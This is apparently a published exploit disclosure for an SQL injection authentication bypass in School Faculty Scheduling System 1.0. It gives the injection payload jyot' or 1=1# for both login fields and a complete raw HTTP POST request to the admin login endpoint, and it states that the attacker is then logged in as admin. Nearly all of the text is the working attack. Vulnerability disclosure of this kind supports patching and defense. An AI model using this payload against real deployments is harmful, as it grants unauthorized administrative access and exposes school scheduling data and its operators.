# Exploit Title: School Faculty Scheduling System 1.0 - Authentication Bypass # Date: 21/10/2020 # Exploit Author: Jyotsna Adhana # Vendor Homepage: https://www.sourcecodester.com/php/14535/school-faculty-scheduling-system-using-phpmysqli-source-code.html # Software Link: https://www.sourcecodester.com/download-code?nid=14535&title=School+Faculty+Scheduling+System+using+PHP%2FMySQLi+with+Source+Code # Version: 1.0 # Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4 Step 1: Open the URL http://localhost/schoolFSS/scheduling/admin Step 2: use payload jyot' or 1=1# in user and password field Malicious Request POST /schoolFSS/scheduling/admin/ajax.php?action=login HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 55 Origin: http://localhost Connection: close Referer: http://localhost/schoolFSS/scheduling/admin/login.php Cookie: PHPSESSID=7lojvad06l803amt3f7hp7o8re username=jyot'+or+1%3D1+%23&password=jyot'+or+1%3D1+%23 Step 3: You will be logged in as admin.